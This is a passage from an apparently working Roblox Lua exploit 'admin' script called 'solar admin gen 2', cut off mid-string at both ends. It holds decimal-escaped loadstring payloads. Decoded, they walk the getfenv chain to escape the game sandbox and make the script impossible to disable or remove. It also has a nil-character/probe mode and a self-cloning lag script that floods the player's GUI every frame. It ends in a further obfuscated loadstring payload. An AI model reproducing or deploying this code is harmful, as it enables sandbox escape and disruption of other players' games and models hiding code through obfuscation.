116\105\109\101\59\10\9\9\86\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\118\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\87\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\119\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\121\112\99\97\108\108\61\101\110\118\46\121\112\99\97\108\108\59\10\9\9\103\99\105\110\102\111\61\101\110\118\46\103\99\105\110\102\111\59\10\9\9\108\111\97\100\61\101\110\118\46\108\111\97\100\59\10\9\9\110\101\119\112\114\111\120\121\61\101\110\118\46\110\101\119\112\114\111\120\121\59\10\9\9\99\111\114\111\117\116\105\110\101\61\101\110\118\46\99\111\114\111\117\116\105\110\101\59\10\9\9\95\71\61\101\110\118\46\95\71\59\10\9\9\95\86\69\82\83\73\79\78\61\101\110\118\46\95\86\69\82\83\73\79\78\59\10\9\125\10\9\10\9\108\111\99\97\108\32\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\108\111\99\97\108\32\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\108\111\99\97\108\32\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\108\111\99\97\108\32\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\108\111\99\97\108\32\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\115\101\116\102\101\110\118\40\48\44\115\101\116\109\101\116\97\116\97\98\108\101\40\108\111\99\97\108\101\110\118\44\123\10\9\9\95\95\109\101\116\97\116\97\98\108\101\61\34\84\104\105\115\32\109\101\116\97\116\97\98\108\101\32\105\115\32\108\111\99\107\101\100\34\59\10\9\9\95\95\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\108\111\99\97\108\32\115\117\99\44\114\101\115\61\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\116\117\114\110\32\115\91\105\110\100\93\32\101\110\100\41\10\9\9\9\105\102\32\110\111\116\32\115\117\99\32\116\104\101\110\10\9\9\9\9\114\101\116\117\114\110\32\101\114\114\111\114\40\34\97\116\116\101\109\112\116\32\116\111\32\105\110\100\101\120\32\103\108\111\98\97\108\32\92\34\34\46\46\105\110\100\46\46\34\92\34\32\40\97\32\110\105\108\32\118\97\108\117\101\41\34\41\10\9\9\9\101\108\115\101\10\9\9\9\9\114\101\116\117\114\110\32\115\91\105\110\100\93\10\9\9\9\101\110\100\10\9\9\101\110\100\59\10\9\9\95\95\110\101\119\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\114\97\119\115\101\116\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\101\110\100\59\10\9\125\41\41\59\10\9\119\97\105\116\40\41\59\10\9\115\99\114\105\112\116\58\68\101\115\116\114\111\121\40\41\10\9\115\99\114\105\112\116\46\67\104\97\110\103\101\100\58\99\111\110\110\101\99\116\40\102\117\110\99\116\105\111\110\40\112\114\111\112\41\10\9\9\105\102\32\112\114\111\112\32\61\61\32\34\68\105\115\97\98\108\101\100\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\32\102\97\108\115\101\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\61\32\102\97\108\115\101\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\80\97\114\101\110\116\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\32\110\105\108\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\61\32\110\105\108\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\78\97\109\101\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\78\97\109\101\32\61\32\34\108\111\108\34\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\78\97\109\101\32\61\61\32\34\108\111\108\34\32\101\110\100\41\10\9\9\101\110\100\10\32\32\32\32\101\110\100\41\10\101\110\100\59")() script:ClearAllChildren() else script:ClearAllChildren() script.Parent=nil end wait(1) LocalPlayer = game:service'Players'.LocalPlayer ProbeMode = false char = nil probe = nil local x = Instance.new("Message",workspace) x.Text = 'You are connected to solar admin gen 2' game:service'Debris':AddItem(x,3) if LocalPlayer.Character then LocalPlayer.Character.Archivable = true char = LocalPlayer.Character:Clone() char.Torso.Anchored = true else local con = LocalPlayer.CharacterAdded:connect(function() wait(0.5) LocalPlayer.Character.Archivable = true char = LocalPlayer.Character:Clone() char.Torso.Anchored = true end) end xcon = LocalPlayer.Changed:connect(function(asd) if asd == 'Parent' then local a = Instance.new("Hint",workspace) a.Text = 'You are connected, say char/ to go as a nil character, or probe/ for probe or rejme/ to rejoin' game:service'Debris':AddItem(a,3) end end) asdcon = LocalPlayer.Chatted:connect(function(msg) pcall(function() if LocalPlayer.Parent ~= game:service'Players' then if msg == 'char/' then ProbeMode = false elseif msg == 'probe/' then ProbeMode = true elseif msg == 'Friend' then game:service'StarterGui':SetCoreGuiEnabled("All",true) elseif msg == 'rejme/' then coroutine.wrap(function() if ProbeMode == true then probe:remove() else LocalPlayer.Character:remove() char = nil end zcon:disconnect() asdcon:disconnect() xcon:disconnect() end)() game:service'TeleportService':Teleport(game.PlaceId) elseif msg == 'fixcam/' then game:service'Workspace'.CurrentCamera.CameraType = 'Custom' pcall(function() game:service'Workspace'.CurrentCamera.CameraSubject = LocalPlayer.Character.Humanoid end) game:service'Workspace'.CurrentCamera:ClearAllChildren() end end end) end) zcon = game:service'RunService'.RenderStepped:connect(function() if LocalPlayer.Parent ~= game:service'Players' then if ProbeMode == false then if LocalPlayer.Character == nil or LocalPlayer.Character.Parent ~= workspace then if probe ~= nil then probe:remove() probe = nil end local chr = char:Clone() chr.Parent = workspace LocalPlayer.Character = chr wait(0.1) game:service'Workspace'.CurrentCamera.CameraSubject = chr:findFirstChild'Humanoid' end else if probe == nil or probe.Parent ~= workspace or probe:findFirstChild'LolMesh' == nil then if LocalPlayer.Character ~= nil then LocalPlayer.Character:remove() LocalPlayer.Character = nil end local a = Instance.new("Part",workspace) a.Name = LocalPlayer.Name a.FormFactor = 'Custom' a.CanCollide = false a.Locked = true a.Anchored = true a.TopSurface = 0 a.BottomSurface = 0 a.Size = Vector3.new(2,2,2) local b = Instance.new('SpecialMesh',a) b.Name = 'LolMesh' b.MeshType = 'Sphere' probe = a else local asd = probe:findFirstChild'LolMesh' asd.Scale = Vector3.new(math.cos(time())*2,math.cos(time())*2,math.cos(time())*2) probe.CFrame = workspace.CurrentCamera.Focus end end end end) Jumping = false LocalPlayer:GetMouse().KeyDown:connect(function(k) if k == 'a' then a = true end if k == 'w' then w = true end if k == 's' then s = true end if k == 'd' then d = true end if k == ' ' then space = true end end) LocalPlayer:GetMouse().KeyUp:connect(function(k) if k == 'a' then a = false end if k == 'w' then w = false end if k == 's' then s = false end if k == 'd' then d = false end if k == ' ' then space = false end end) game:service'RunService'.RenderStepped:connect(function() if LocalPlayer.Parent ~= game:service'Players' then if ProbeMode == false then if w == true then LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-.5) end if s == true then LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,.5) end if d == true then LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(-5),0) end if a == true then LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(5),0) end if space == true then if Jumping == true then return end Jumping = true asd = LocalPlayer.Character.Torso.Position.y for i = 0,3,0.5 do LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,i,0) wait() end for i = 0,-3,-0.5 do LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,i,0) wait() end Jumping = false end end end end) ]] PixelChatSource = [[ wait(0.001) script:ClearAllChildren(); script.Parent=nil; wait(1) LocalPlayer = game:service'Players'.LocalPlayer Letters = {"00000000000000000000000000000000000","01000010000100001000010000000001000","10100101000000000000000000000000000","00000010101111101010111110101000000","00100111111010011111001011111100100","00000000001100111010001000101110011","00100010100101001010011011001001101","00100001000000000000000000000000000","00010001000100001000010000010000010","01000001000001000010000100010001000","00100011100010000000000000000000000","00000001000010011111001000010000000","00000000000000000000110001100001000","00000000000000000000011100000000000","00000000000000000000000001100011000","00000000100001000100001000100001000","01110100011001110101110011000101110","00100011000010000100001000010011111","01110100010000100110010001000111111","01110100010000100110000011000101110","00011001010100110001111110000100001","11111100001111000001000011000101110","00110010001000011110100011000101110","11111100010000100010001000010000100","01110100011000101110100011000101110","01110100011000101111000010001001100","00000000000110001100000000110001100","00000011000110000000011000110000100","00010001000100010000010000010000010","00000000001111100000111110000000000","01000001000001000001000100010001000","01110100010000100010001000000000100","01110100011011110101101111000001111","01110100011111110001100011000110001","11110100011111010001100011000111110","01110100011000010000100001000101110","11110100011000110001100011000111110","11111100001110010000100001000011111","11111100001110010000100001000010000","01111100001001110001100011000101110","10001100011111110001100011000110001","01110001000010000100001000010001110","00001000010000100001000011000101110","10010101001100011000101001001010010","10000100001000010000100001000011111","10001110111010110001100011000110001","10001110011010110011100011000110001","01110100011000110001100011000101110","11110100011111010000101001000010000","01110100011000110001100011001001101","11110100011111010001100011000110001","01111100000111000001000011000101110","11111001000010000100001000010000100","10001100011000110001100011000101110","10001100011000110001010100101000100","10001100011000110001101011101110001","10001010100010001010100011000110001","10001010100010000100001000010000100","11111000010001000100010001000011111","01110010000100001000010000100001110","00000010000100000100001000001000010","01110000100001000010000100001001110","00000001000101000000000000000000000","00000000000000000000000000000011111","01000001000000000000000000000000000","00000000000111000001011111000101111","10000100001011011001100011000111110","00000000000111010001100001000101110","00001000010110110011100011000101111","00000000000111010001111111000001111","00011001000111100100001000010000100","00000000000111110001011110000111110","10000100001011011001100011000110001","00100000000010000100001000010000100","00001000000000100001100011000101110","10000100001001010100110001010010010","00100001000010000100001000010000010","00000000001101010101101011000110001","00000000001111010001100011000110001","00000000000111010001100011000101110","00000000001011011001111101000010000","00000000000110110011011110000100001","00000000001011011001100001000010000","00000000000111110000011100000111110","00100001000111000100001000010000010","00000000001000110001100011000101111","00000000001000110001100010101000100","00000000001000110001101011010101111","00000000001000101010001000101010001","00000000001000110001011110000111110","00000000001111100010001000100011111","00010001000010001000001000010000010","10000100001000010000100001000010000","01000001000010000010001000010001000","00000000000000000010101010100000000"} DeModel = Instance.new("BillboardGui", workspace:findFirstChild(LocalPlayer.Name)) DeModel.StudsOffset = Vector3.new(0,2.5,0) DeModel.Name = ":D" FR = Instance.new("Frame",DeModel) FR.Size=UDim2.new(1,0,1,0) FR.BackgroundColor3=BrickColor.new("Institutional white").Color FR.BorderSizePixel=0 FR.ZIndex=2 CurrParent = workspace:findFirstChild(LocalPlayer.Name).Head game:service'RunService'.RenderStepped:connect(function() pcall(function() local a = workspace:findFirstChild(LocalPlayer.Name) if a.ClassName == 'Part' then CurrParent = a else CurrParent = a:findFirstChild'Head' end end) if DeModel.Parent ~= CurrParent or DeModel == nil or FR.Parent ~= DeModel or FR == nil then pcall(function() if CurrParent.ClassName == 'Part' then DeModel = Instance.new("BillboardGui", CurrParent) DeModel.Adornee = CurrParent DeModel.StudsOffset = Vector3.new(0,2.5,0) DeModel.Name = ":D" FR = Instance.new("Frame",DeModel) FR.Size=UDim2.new(1,0,1,0) FR.BackgroundColor3=BrickColor.new("Institutional white").Color FR.BorderSizePixel=0 FR.ZIndex=2 end end) end end) function CreateLetter(what, pos, posy, cl) pcall(function() if cl == nil then cl = "Really black" end if Letters[what:byte()-31] then what = Letters[what:byte()-31] else what = Letters[1] end if type(what) ~= "string" then return end what = what:gsub('\n','') what = what:gsub('\t','') what = what:gsub(' ','') pos = pos * 2 posy = posy * 2 c = 0 for y=1,7 do for x=1,5 do c = c + 1 if what:sub(c, c) == "1" then local a = Instance.new("Frame", FR) a.Name = "L" a.ZIndex=3 a.Size = UDim2.new(0,2,0,2) a.BorderSizePixel = 0 a.BackgroundTransparency = 1 a.BackgroundColor3 = BrickColor.new(cl).Color a.Position = UDim2.new(0,((x+1)*2)+pos,0,(y*2)+posy) coroutine.wrap(function() wait(math.random(1, 10)/50) a.BackgroundTransparency = 0 end)() end end end end) end LocalPlayer.Chatted:connect(function(m) pcall(function() local cl = "Really black" for _,v in pairs(DeModel.Frame:children()) do v:Destroy() end if m:sub(1,2) == '/e' then return end if m:sub(1,3) == "/! " then m = m:sub(4) DeModel.Frame.BackgroundColor3 = BrickColor.new("Really black").Color cl = "Really red" else DeModel.Frame.BackgroundColor3 = BrickColor.new("Institutional white").Color end m1 = m:gsub("\n"," ") m1 = m1:gsub("\t"," ") m1 = m1:gsub("math.pi",tostring(math.pi)) if #m1 <= 30 then DeModel.Size = UDim2.new(0,(30+(#m1*10)),0,20) elseif #m1 <= 60 then DeModel.Size = UDim2.new(0,330,0,40) elseif #m1 <= 90 then DeModel.Size = UDim2.new(0,330,0,60) elseif #m1 > 90 then DeModel.Size = UDim2.new(0,340,0,60) m1 = m1:sub(1,90).."..." end coroutine.wrap(function() for i = 1,0,-1/#m1 do DeModel.Frame.Transparency = i wait(1/60) end end)() if #m1 < 30 then for i = 1,#m1 do CreateLetter(m1:sub(i,i),i*5,0,cl) wait(1/60) end elseif #m1 <= 60 then for i = 1,30 do CreateLetter(m1:sub(i,i),i*5,0,cl) wait(1/60) end for i = 31,#m1 do CreateLetter(m1:sub(i,i),(i-30)*5,10,cl) wait(1/60) end elseif #m1 >= 60 then for i = 1,30 do CreateLetter(m1:sub(i,i),i*5,0,cl) wait(1/60) end for i = 31,60 do CreateLetter(m1:sub(i,i),(i-30)*5,10,cl) wait(1/60) end for i = 61,#m1 do CreateLetter(m1:sub(i,i),(i-60)*5,20,cl) wait(1/60) end end end) end) ]] SpecialLagSource = [[ wait(0.001) scr = script:Clone() if script:findFirstChild'source' ~= nil then loadstring("\105\102\40\103\97\109\101\46\80\108\97\99\101\73\100\126\61\50\48\50\55\57\55\55\55\41\116\104\101\110\10\9\108\111\99\97\108\32\101\110\118\61\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\97\109\101\46\71\101\116\74\111\98\115\73\110\102\111\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\59\10\9\108\111\99\97\108\32\108\111\99\97\108\101\110\118\61\123\10\9\9\119\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\87\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\83\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\103\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\71\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\105\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\73\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\116\97\98\108\101\61\101\110\118\46\116\97\98\108\101\59\10\9\9\109\97\116\104\61\101\110\118\46\109\97\116\104\59\10\9\9\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\9\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\9\108\111\97\100\115\116\114\105\110\103\61\101\110\118\46\108\111\97\100\115\116\114\105\110\103\59\10\9\9\117\110\112\97\99\107\61\101\110\118\46\117\110\112\97\99\107\59\10\9\9\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\9\99\111\108\108\101\99\116\103\97\114\98\97\103\101\61\101\110\118\46\99\111\108\108\101\99\116\103\97\114\98\97\103\101\59\10\9\9\100\111\102\105\108\101\61\101\110\118\46\100\111\102\105\108\101\59\10\9\9\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\9\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\105\112\97\105\114\115\61\101\110\118\46\105\112\97\105\114\115\59\10\9\9\108\111\97\100\102\105\108\101\61\101\110\118\46\108\111\97\100\102\105\108\101\59\10\9\9\110\101\120\116\61\101\110\118\46\110\101\120\116\59\10\9\9\112\97\105\114\115\61\101\110\118\46\112\97\105\114\115\59\10\9\9\112\114\105\110\116\61\101\110\118\46\112\114\105\110\116\59\10\9\9\114\97\119\101\113\117\97\108\61\101\110\118\46\114\97\119\101\113\117\97\108\59\10\9\9\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\9\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\9\115\101\108\101\99\116\61\101\110\118\46\115\101\108\101\99\116\59\10\9\9\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\116\111\110\117\109\98\101\114\61\101\110\118\46\116\111\110\117\109\98\101\114\59\10\9\9\116\111\115\116\114\105\110\103\61\101\110\118\46\116\111\115\116\114\105\110\103\59\10\9\9\116\121\112\101\61\101\110\118\46\116\121\112\101\59\10\9\9\120\112\99\97\108\108\61\101\110\118\46\120\112\99\97\108\108\59\10\9\9\97\115\115\101\114\116\61\101\110\118\46\97\115\115\101\114\116\59\10\9\9\68\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\100\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\83\112\97\119\110\61\101\110\118\46\83\112\97\119\110\59\10\9\9\76\111\97\100\76\105\98\114\97\114\121\61\101\110\118\46\76\111\97\100\76\105\98\114\97\114\121\59\10\9\9\112\114\105\110\116\105\100\101\110\116\105\116\121\61\101\110\118\46\112\114\105\110\116\105\100\101\110\116\105\116\121\59\10\9\9\116\105\99\107\61\101\110\118\46\116\105\99\107\59\10\9\9\116\105\109\101\61\101\110\118\46\116\105\109\101\59\10\9\9\86\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\118\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\87\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\119\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\121\112\99\97\108\108\61\101\110\118\46\121\112\99\97\108\108\59\10\9\9\103\99\105\110\102\111\61\101\110\118\46\103\99\105\110\102\111\59\10\9\9\108\111\97\100\61\101\110\118\46\108\111\97\100\59\10\9\9\110\101\119\112\114\111\120\121\61\101\110\118\46\110\101\119\112\114\111\120\121\59\10\9\9\99\111\114\111\117\116\105\110\101\61\101\110\118\46\99\111\114\111\117\116\105\110\101\59\10\9\9\95\71\61\101\110\118\46\95\71\59\10\9\9\95\86\69\82\83\73\79\78\61\101\110\118\46\95\86\69\82\83\73\79\78\59\10\9\125\10\9\10\9\108\111\99\97\108\32\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\108\111\99\97\108\32\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\108\111\99\97\108\32\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\108\111\99\97\108\32\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\108\111\99\97\108\32\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\115\101\116\102\101\110\118\40\48\44\115\101\116\109\101\116\97\116\97\98\108\101\40\108\111\99\97\108\101\110\118\44\123\10\9\9\95\95\109\101\116\97\116\97\98\108\101\61\34\84\104\105\115\32\109\101\116\97\116\97\98\108\101\32\105\115\32\108\111\99\107\101\100\34\59\10\9\9\95\95\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\108\111\99\97\108\32\115\117\99\44\114\101\115\61\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\116\117\114\110\32\115\91\105\110\100\93\32\101\110\100\41\10\9\9\9\105\102\32\110\111\116\32\115\117\99\32\116\104\101\110\10\9\9\9\9\114\101\116\117\114\110\32\101\114\114\111\114\40\34\97\116\116\101\109\112\116\32\116\111\32\105\110\100\101\120\32\103\108\111\98\97\108\32\92\34\34\46\46\105\110\100\46\46\34\92\34\32\40\97\32\110\105\108\32\118\97\108\117\101\41\34\41\10\9\9\9\101\108\115\101\10\9\9\9\9\114\101\116\117\114\110\32\115\91\105\110\100\93\10\9\9\9\101\110\100\10\9\9\101\110\100\59\10\9\9\95\95\110\101\119\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\114\97\119\115\101\116\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\101\110\100\59\10\9\125\41\41\59\10\9\119\97\105\116\40\41\59\10\9\115\99\114\105\112\116\58\68\101\115\116\114\111\121\40\41\10\9\115\99\114\105\112\116\46\67\104\97\110\103\101\100\58\99\111\110\110\101\99\116\40\102\117\110\99\116\105\111\110\40\112\114\111\112\41\10\9\9\105\102\32\112\114\111\112\32\61\61\32\34\68\105\115\97\98\108\101\100\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\32\102\97\108\115\101\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\61\32\102\97\108\115\101\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\80\97\114\101\110\116\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\32\110\105\108\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\61\32\110\105\108\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\78\97\109\101\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\78\97\109\101\32\61\32\34\108\111\108\34\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\78\97\109\101\32\61\61\32\34\108\111\108\34\32\101\110\100\41\10\9\9\101\110\100\10\32\32\32\32\101\110\100\41\10\101\110\100\59")() script:ClearAllChildren() else script:ClearAllChildren() script.Parent=nil end LocalPlayer = game:service'Players'.LocalPlayer game:service'RunService'.RenderStepped:connect(function() pcall(function() scr:Clone().Parent = LocalPlayer:findFirstChild'PlayerGui' or LocalPlayer:findFirstChild'Backpack' or LocalPlayer.Character end) end) ]] --[[FUNCTIONS]]-- function NewS(sourcev, parent) if SourceName == 'source' then NS(source,parent) else local s = SSource:Clone() s.Parent = parent if s:findFirstChild(SourceName) ~= nil then source = s:findFirstChild(SourceName) else source = Instance.new("StringValue", s) source.Name = SourceName end if source then source.Value = sourcev else OutputAdmins("Something went wrong","Really red") end wait() s.Disabled = false end end function WaitForValue(val) print("Currently not implemented.") end function NewLS(sourcev,parent, lock) if SourceName == 'source' then NLS(sourcev,parent) elseif LSource then local s = LSource:Clone() s.Parent = parent if s:findFirstChild(SourceName) ~= nil then source = s:findFirstChild(SourceName) else source = Instance.new("StringValue", s) source.Name = SourceName end if source then source.Value = sourcev else OutputAdmins("Something wen't wrong","Really red") return end wait() if lock == true then for i = 0,5 do s.Disabled = false wait(0.5) s.Disabled = true wait(0.5) s.Disabled = false end else s.Disabled = false end return s else OutputAdmins("No source","Really red") end end function Disconnect(str) local a = Instance.new("StringValue", game:service'Lighting') a.Name = 'Disconnect' a.Value = tostring(str) game:service'Debris':AddItem(a,5) end function Output(Plr, Text, Clr, OnClicked) pcall(function() if Plr == nil then Plr = game.Players:players()[math.random(1,#game.Players:players())] end if type(Plr) == 'userdata' then Plr = Plr elseif type(Plr) == 'string' then for _,v in pairs(game.Players:players()) do if v.Name:lower():sub(1,#Plr) == Plr:lower() then Plr = v break end end end if Text == nil then Text = "" end if Clr == nil then Clr = "Random" end local tablez = {} local T = Instance.new("Part", workspace) T.FormFactor = 'Custom' pcall(function()T.CFrame=Plr.Character.Torso.CFrame;end) T.CanCollide=false T.Locked=true T.Anchored=true T.Size=Vector3.new(2.5,2.5,2.5) T.Name="Tablet "..math.random(-99999,99999) pcall(function() if type(Clr) == "string" then if Clr == "Random" then T.BrickColor = BrickColor.random() else T.BrickColor = BrickColor.new(Clr) end elseif type(Clr) == "userdata" then T.Color = BrickColor.new(Clr).Color end end) T.Transparency=0.7 T.TopSurface=0 T.BottomSurface=0 local S=Instance.new("SelectionBox", T) S.Adornee=T S.Color = T.BrickColor local BBG = Instance.new("BillboardGui",T) BBG.Adornee = T BBG.StudsOffset = Vector3.new(0,3,0) BBG.Size = UDim2.new(10,0,10,0) local TL = Instance.new("TextLabel", BBG) TL.Size = UDim2.new(1,0,1,0) TL.BackgroundTransparency = 1 TL.TextColor = T.BrickColor TL.Text = Text TL.TextStrokeTransparency = 0 TL.Font = 'Arial' TL.FontSize = "Size18" local C = Instance.new("ClickDetector", T) C.MaxActivationDistance = math.huge C.MouseClick:connect(function(p) if p.Name == Plr.Name or GetRank(p) > GetRank(Plr) then T:Destroy() for i,v in pairs(Solar["Tabs"]) do if v.P.Name == T.Name then table.remove(Solar["Tabs"], i) end end if OnClicked ~= nil then a,b = ypcall(function() OnClicked() end) if not a then Output(b,"Really red") end end end end) UpdateTablets() tablez.Owner = Plr tablez.P = T table.insert(Solar["Tabs"], tablez) end) end function OutputAdmins(text,clr) for _,v in pairs(game.Players:players()) do if GetRank(v) > 0.1 then Output(v,text,clr) end end end function _RGB(r,g,b) return Color3.new(r/255,g/255,b/255); end; shared[" dat 11060760277327 "]={getfenv(),5.459585514144159};local z={["$"]=0,["^"]=1,["?"]=2,["!"]=3,["="]=4,["-"]=5,["("]=6,["+"]=7,["%"]=8,[")"]=9,["*"]=10,["_"]=11,["#"]=12,["~"]=13,["&"]=14,["@"]=15}; setfenv(assert(loadstring((string.gsub(string.gsub(table.concat({ 